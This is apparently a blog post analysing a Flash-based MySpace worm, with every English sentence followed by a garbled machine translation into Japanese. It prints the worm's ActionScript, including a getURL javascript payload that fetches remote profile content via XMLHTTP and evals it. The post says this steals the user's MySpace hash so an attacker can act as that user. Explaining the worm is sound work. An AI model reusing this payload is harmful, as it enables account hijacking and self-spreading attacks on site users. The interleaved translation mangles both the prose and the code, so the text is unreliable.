MySpace has been infected by Flash based (swf) worm which spreading rapidly through MySpace.フラッシュベースのmyspaceに感染してきた(のSWF )を通じてmyspaceのワームが急速に広がっています。 It is embedding JavaScript code into users’ profiles that redirects visitors to a site claiming the US government was behind the 9/11 terrorist attacks, Symantec JavaScriptコードを埋め込むことがユーザーのプロファイルにリダイレクトするサイトの訪問者の背後に主張し、米国政府は、 9 / 11テロ攻撃、シマンテック warned警告 Monday.月曜日。 However it may be just the tip of the iceberg.しかし5月にぴったりの氷山の一角です。 Let’s take a look at how it works to understand how it can be easily modified to deliver much devastating payloads.レッツを見てどのようにどのように動作を理解することで簡単に更新くらい壊滅的なペイロードを提供します。

The unnamed worm isn’t malicious but the Shockwave Flash (.swf) file containing the payload embeds JavaScript into the profile of any MySpace user who views the .swf file.悪意のあるのではないが、無名のワームのShockwave Flashファイル( 。のSWF ) 、ペイロードに埋め込みJavaScriptを含むファイルを任意のMySpaceのユーザーのプロフィールをwho再生回数します。 SWFファイルです。 This can easily replicateこれは簡単に複製 Samy is my friend samyは私の友人に送る worm without breaking a sweat.汗をかくワームを破った。

This javascript code would then be interpreted by any user who visited the site, allowing sensitive data to be stolen, such as a hash value required to carry out operations as a user, and performing operations on behalf of that users (without consent obviously).このJavaScriptコードを入力して解釈してサイトを訪問し、任意のユーザーwho 、できるように敏感なデータを盗まれた、などの操作を実行するに必要なハッシュ値を持つユーザーとして、および操作の実行に代わって、その利用者数(同意を明らかにせず) 。 Currently, that access is being used only to spread the JavaScript code to other profiles on the popular social network site.現在のところ、それを広めるのアクセスのみが使用されているJavaScriptのコードを他のプロファイルに人気のソーシャルネットワークサイトです。

If the payload is malicious, it can carry out secondary attacks like targeting recently discovered vulnerabilities affecting Microsoft Office content.悪意のある場合は、ペイロードは、二次的な攻撃を行うことができます最近、発見した脆弱性をターゲットに影響を及ぼすようなMicrosoft Officeのコンテンツです。 The impact would be much higher exposing even sensitive information on your hard-disk.に与える影響ははるかに高いにも敏感な情報を公開してハードディスクにコピーします。

Let’s take a look at the worm, thanks to research byレッツワームを見て、おかげで研究され kinematic.theory :

When you visited an already infected page, there is a Flash object embedded (”redirect.swf”) which contains the actionscript:すでにウイルス感染したページを訪問するときに、フラッシュのオブジェクトには、埋め込まれた( " redirect.swf " )が含まれのActionScript :
getURL(" URL情報を得るソケット( " url のURL “); " ) ;

It opens and redirects you to the specified blog URL.それを開き、リダイレクトするブログのURLを指定します。

On this blog url there is another flash file embedded - “retrievecookie.swf”.このブログのURLを別のフラッシュファイルには組み込み-" r etrievecookie.swf"です。 It contains:が含まれています:

getURL("javas\n\rcript: var x = new ActiveXObject(\'Msxml2.XMLHTTP\');x.open(\'GET\',\'http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\',true);x.onreadystatechange=function(){if (x.readyState==4){var pg=x.responseText;var sc=pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\'));while((sc.indexOf(\' URL情報を得るソケット( " javas \ n \ rcript :出力var x =新しいactivexobject ( \ ' msxml2.xmlhttp \ ' ) ; x.open ( \ ' \ ' 、 \ ' http://editprofile.myspace.com/index.cfmですか? fuseaction = user.homecomments & friendid = 93634373 \ ' 、真の) ; x.onreadystatechange =関数( ) (もし( x.readystate == 4 ) ( var pg = x.responsetext ; varサウスカロライナ= pg.substring ( pg.indexof ( \ ' bx - \ ' ) +3 、 pg.indexof ( \ ' -例\ ' ) ) ;ながら( ( sc.indexof ( \ '
\’)!=-1)||(sc.indexOf(\’-XXX\’)!=-1)){var n=sc.indexOf(\’ \ ')!=- 1 ) | | ( sc.indexof ( \ ' - xxx \ ')!=- 1 ) ) ( var数n = sc.indexof ( \ '
\’);if(n==-1)n=sc.indexOf(\’-XXX\’);sc=sc.substring(0,n)+sc.substring(n+5,sc.length);};” + “eval(sc);}};” + “x.send(null);”, “”); \ ' ) ;場合( n ==- 1 )数n = sc.indexof ( \ ' - xxxに\ ' ) ;サウスカロライナ= sc.substring ( 0 、 n ) + sc.substring ( n +5 、 sc.length ) ; ) ; " +な" evalサウスカロライナ);}};" + " x.send (ヌル; " 、 " " ) ;

It opens another blog post (それポップアップ別のブログの投稿( linkリンク ) and evaluates its contents. )と、その内容を評価します。

This code gets your MySpace hash which allows anyone to act as you on MySpace and perform any operations on your behalf like changing your password or adding someone unknown as your friend, anything you can do on MySpace.このコードを取得してmyspaceのハッシュとして誰にでもできるのmyspaceして任意の操作を実行して、お客様に代わってパスワードを変更または追加させるような未知のお友達として、何かをすることができます。 myspaceのです。 Currently the code adds a message to your MySpace profile.現在のコードを追加するメッセージが表示さをおmyspaceのプロフィールです。 It extensively use AJAX for its operations. ajax広範囲に使用するための操作のことです。